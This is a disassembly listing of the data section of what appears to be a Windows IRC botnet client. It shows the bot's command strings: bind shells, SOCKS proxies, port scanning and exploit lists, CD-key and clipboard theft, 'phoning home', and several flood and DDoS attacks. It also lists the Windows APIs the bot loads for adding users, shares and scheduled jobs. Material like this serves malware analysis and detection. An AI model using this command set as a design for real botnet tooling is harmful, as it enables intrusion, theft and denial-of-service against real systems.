		dd 2Dh
unk_42E41C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403AA3o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42E448	db  2Dh	; -		; DATA XREF: sub_401AC7+1FD5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42E46C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403A8Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42E498	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403A85o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42E4C4	db  2Dh	; -		; DATA XREF: sub_401AC7+1FB7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42E4E8	db  2Dh	; -		; DATA XREF: sub_401AC7+1F64o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_20	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42E524	db  2Dh	; -		; DATA XREF: sub_401AC7+1EF5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42E560	db  2Dh	; -		; DATA XREF: sub_401AC7+1E12o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42E59C	db  2Dh	; -		; DATA XREF: sub_401AC7+1DA7o
					; sub_40ABD2+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42E5D8	db  2Dh	; -		; DATA XREF: sub_401AC7+1CA0o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_22	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42E614	db  2Dh	; -		; DATA XREF: sub_401AC7+1C31o
					; sub_40ABD2+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42E648	db  2Dh	; -		; DATA XREF: sub_401AC7+1B7Fo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
unk_42E668	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403630o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_23	db '- Failed to start scan, port is invalid.',0
		align 10h
unk_42E6A0	db  2Dh	; -		; DATA XREF: sub_401AC7+1B19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_24	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42E6DC	db  2Dh	; -		; DATA XREF: sub_401AC7+1AA8o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401AC7+1A7Do
					; sub_401AC7+5323o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401AC7+1A76o
					; sub_401AC7+531Co
		align 4
unk_42E75C	db  2Dh	; -		; DATA XREF: sub_401AC7+18C3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+185Do
		align 10h
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401AC7+1842o
		align 4
aVall		db 'vall',0             ; DATA XREF: sub_401AC7+1831o
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_401AC7+1820o
aTftp		db 'tftp',0             ; DATA XREF: sub_401AC7+180Bo
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401AC7+17F6o
		align 10h
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401AC7+17CCo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401AC7+17B7o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401AC7+17A2o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401AC7+178Do
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401AC7+1778o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401AC7+1763o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401AC7+174Eo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401AC7+1739o
		align 10h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401AC7+1724o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401AC7+170Fo
		align 10h
aGetclip	db 'getclip',0          ; DATA XREF: sub_401AC7+16FAo
unk_42E858	db  2Dh	; -		; DATA XREF: sub_401AC7+16BCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401AC7+16A1o
					; sub_401AC7+3706o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401AC7+168Ao
		align 4
unk_42E88C	db  2Dh	; -		; DATA XREF: sub_401AC7+166Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401AC7+1634o
					; sub_40A2C0+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401AC7:loc_4030ECo
dword_42E8C0	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401AC7+15FAo
dword_42E8D4	dd 6F6877h		; DATA XREF: sub_401AC7+15DDo
dword_42E8D8	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401AC7+15D2o
dword_42E8E4	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401AC7+15CDo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401AC7+15B4o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401AC7+159Fo
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401AC7+158Ao
aDll		db 'dll',0              ; DATA XREF: sub_401AC7+1575o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401AC7+1560o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401AC7+154Bo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401AC7+1536o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401AC7+1521o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401AC7+150Co
		align 4
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401AC7+14E2o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401AC7+14CDo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401AC7+14B8o
		align 10h
aR010m		db 'r010m',0            ; DATA XREF: sub_401AC7+14A3o
		align 4
aRemov10e	db 'remov10e',0         ; DATA XREF: sub_401AC7+148Eo
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401AC7+1479o
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401AC7+1464o
aNi		db 'ni',0               ; DATA XREF: sub_401AC7+144Fo
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401AC7+143Ao
aClg		db 'clg',0              ; DATA XREF: sub_401AC7+1425o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401AC7+1410o
		align 4
aL0g		db 'l0g',0              ; DATA XREF: sub_401AC7+13FBo
aLo0g		db 'lo0g',0             ; DATA XREF: sub_401AC7+13E6o
		align 4
aAl		db 'al',0               ; DATA XREF: sub_401AC7+13D1o
		align 4
aThreads	db 'threads',0          ; DATA XREF: sub_401AC7+1392o
unk_42E9A4	db  2Dh	; -		; DATA XREF: sub_401AC7+135Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42E9CC	db  2Dh	; -		; DATA XREF: sub_401AC7+1357o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401AC7+1340o
		align 4
aId		db 'id',0               ; DATA XREF: sub_401AC7+1316o
		align 4
aStatus		db 'status',0           ; DATA XREF: sub_401AC7+12ECo
		align 10h
aQuit_0		db 'quit',0             ; DATA XREF: sub_401AC7+12C2o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401AC7+12ADo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401AC7+1298o
		align 4
aR:					; DATA XREF: sub_401AC7+1283o
					; sub_401AC7+37FFo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401AC7+126Eo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401AC7+1259o
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401AC7+1244o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401AC7+122Fo
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401AC7+121Ao
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401AC7+1205o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401AC7+11F0o
		align 10h
aStats		db 'stats',0            ; DATA XREF: sub_401AC7+11DBo
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401AC7+11C6o
		align 4
dword_42EA84	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401AC7+11BBo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401AC7+11B6o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401AC7+119Do
		align 4
dword_42EAA4	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401AC7+1192o
aSecure		db 'Secure',0           ; DATA XREF: sub_401AC7+118Do
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401AC7+1174o
		align 4
dword_42EAC8	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401AC7+1169o
aClone		db 'Clone',0            ; DATA XREF: sub_401AC7+1164o
		align 10h
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401AC7+114Bo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401AC7+1136o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401AC7+1121o
		align 10h
dword_42EB00	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401AC7+1116o
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401AC7+10F8o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401AC7+10CFo
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401AC7+10A6o
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401AC7+107Do
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401AC7+1054o
unk_42EB48	db  2Dh	; -		; DATA XREF: sub_401AC7+103Do
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42EB7C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401AC7+1008o
					; sub_401AC7+109Bo
dword_42EB8C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401AC7+1003o
					; sub_401AC7+1096o
dword_42EB9C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401AC7+FEDo
					; sub_401AC7+1072o
dword_42EBAC	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401AC7+FE8o
					; sub_401AC7+106Do
dword_42EBBC	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401AC7+F96o
					; sub_401AC7+10EDo
dword_42EBC8	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+F91o
					; sub_401AC7+10E8o
dword_42EBD4	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401AC7+F7Bo
					; sub_401AC7+10C4o
dword_42EBE0	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+F76o
					; sub_401AC7+10BFo
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401AC7+F19o
		align 4
dword_42EBF8	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401AC7+F0Eo
					; sub_401AC7+FCFo
dword_42EC04	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+F09o
					; sub_401AC7+FCAo
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401AC7+EF0o
		align 4
dword_42EC1C	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401AC7+EE5o
					; sub_401AC7+FB4o
dword_42EC2C	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401AC7+EE0o
					; sub_401AC7+FAFo
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401AC7+EC7o
		align 4
dword_42EC48	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401AC7+EBCo
					; sub_401AC7+1026o
dword_42EC58	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401AC7+EB7o
					; sub_401AC7+1021o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401AC7+E9Eo
		align 4
dword_42EC74	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401AC7+E93o
					; sub_401AC7+F5Do
dword_42EC80	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+E8Eo
					; sub_401AC7+F58o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401AC7+E75o
dword_42EC94	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401AC7+E6Ao
					; sub_401AC7+F42o
dword_42ECA0	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+E65o
					; sub_401AC7+F3Do
dword_42ECAC	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401AC7+E4Co
dword_42ECB8	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401AC7+E41o
dword_42ECC8	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401AC7+E3Co
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401AC7+E23o
		align 4
dword_42ECE8	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401AC7+E18o
dword_42ECF4	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401AC7+E13o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401AC7+DFAo
dword_42ED08	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401AC7+DEFo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401AC7+DD1o
		align 4
dword_42ED24	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401AC7+DC6o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401AC7+DA8o
		align 10h
dword_42ED40	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401AC7+DA0o
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401AC7+D82o
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401AC7+D6Do
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: sub_401AC7+D58o
		align 4
dword_42ED68	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0	; DATA XREF: sub_401AC7+D36o
aServer_0	db 'Server',0           ; DATA XREF: sub_401AC7+D31o
					; sub_401AC7+D9Bo ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401AC7+D18o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401AC7+D03o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401AC7+CEEo
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401AC7+CD9o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401AC7+CC4o
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401AC7+CAFo
aDedication	db 'dedication',0       ; DATA XREF: sub_401AC7+C9Ao
		align 4
aLo		db 'lo',0               ; DATA XREF: sub_401AC7+C85o
		align 4
aDie		db 'die',0              ; DATA XREF: sub_401AC7+C46o
aRn		db 'rn',0               ; DATA XREF: sub_401AC7+C31o
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401AC7+C19o
a63		db '63',0               ; DATA XREF: sub_401AC7+AE6o
		align 4
asc_42EDDC:				; DATA XREF: sub_401AC7+ABEo
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401AC7+A81o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401AC7+A76o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401AC7+A65o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401AC7+A49o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_401AC7+A38o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401AC7+A26o
aD_1		db '$%d',0              ; DATA XREF: sub_401AC7+9B8o
aD_2		db '$%d-',0             ; DATA XREF: sub_401AC7+8F4o
		align 4
dword_42EE1C	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401AC7+889o
		dd 0A0Dh
dword_42EE34	dd 4E495001h, 47h	; DATA XREF: sub_401AC7+855o
dword_42EE3C	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401AC7+84Ao
		dd 0D017325h, 0Ah
dword_42EE58	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401AC7+819o
dword_42EE64	dd 6968h		; DATA XREF: sub_401AC7+6E9o
dword_42EE68	dd 323333h		; DATA XREF: sub_401AC7+648o
					; sub_401AC7+70Bo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401AC7+626o
					; sub_408C5D+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401AC7+61Ao
					; sub_408C5D+16o
unk_42EE7C	db  2Dh	; -		; DATA XREF: sub_401AC7+5C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 10h
unk_42EEA0	db  2Dh	; -		; DATA XREF: sub_401AC7+5A2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401AC7+571o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401AC7+534o
					; sub_40DA9B+5DBo
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401AC7+523o
					; sub_401AC7+5E6o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401AC7+4FBo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401AC7+3CDo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+36Eo
					; sub_401AC7+60Ao
unk_42EEF4	db  2Dh	; -		; DATA XREF: sub_401AC7+355o
					; sub_401AC7+2925o ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401AC7+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401AC7+28Do
					; sub_401AC7+6E91o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401AC7+265o
					; sub_41489B:loc_414912o
a302		db '302',0              ; DATA XREF: sub_401AC7+22Ao
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1E4o
					; sub_401AC7+3B4o ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401AC7+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401AC7+1A9o
					; sub_41489B+50o
		align 4
asc_42EF54:				; DATA XREF: sub_401AC7+A8o
					; sub_401AC7+BBEo ...
		unicode	0, < >,0
asc_42EF58	db ' :',0               ; DATA XREF: sub_401AC7+86o
					; sub_401AC7:loc_40235Ao
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_408C5D+58o
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_408CF8+BBBo
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_408CF8+BAEo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_408CF8+BA1o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_408CF8+B94o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_408CF8+B87o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_408CF8+B7Fo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_408CF8:loc_40986Ao
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_408CF8+B3Do
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_408CF8+B35o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_408CF8:loc_409820o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_408CF8+AE3o
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_408CF8+AD6o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_408CF8+AC9o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_408CF8+AC1o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_408CF8:loc_4097ACo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_408CF8+A7Fo
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_408CF8+A77o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_408CF8:loc_409762o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_408CF8+A35o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_408CF8+A2Do
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_408CF8:loc_409718o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_408CF8+99Fo
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_408CF8+992o
					; sub_415679+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_408CF8+985o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_408CF8+978o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_408CF8+96Bo
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_408CF8+95Eo
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_408CF8+951o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_408CF8+944o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_408CF8+937o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_408CF8+92Ao
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_408CF8+91Do
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_408CF8+915o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_408CF8:loc_4095FCo
					; sub_415679+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_408CF8+8C7o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_408CF8+8BAo
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_408CF8+8B2o
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_408CF8:loc_40959Do
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_408CF8+878o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_408CF8+806o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_408CF8+7F9o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_408CF8+7ECo
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_408CF8+7DFo
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_408CF8+7D2o
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_408CF8+7C5o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_408CF8+7B8o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_408CF8+7ABo
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_408CF8+79Eo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_408CF8+796o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_408CF8:loc_40947Do
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_408CF8+64Co
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_408CF8+63Fo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_408CF8+632o
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_408CF8+625o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_408CF8+618o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_408CF8+60Bo
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_408CF8+5FEo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_408CF8+5E4o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_408CF8+5D7o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_408CF8+5CFo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_408CF8+5BDo
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_408CF8+5B0o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_408CF8+5A3o
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_408CF8+589o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_408CF8+57Co
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_408CF8+56Fo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_408CF8+562o
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_408CF8+555o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_408CF8+548o
		align 4
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_408CF8+52Eo
aSocket		db 'socket',0           ; DATA XREF: sub_408CF8+521o
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_408CF8+514o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_408CF8+507o
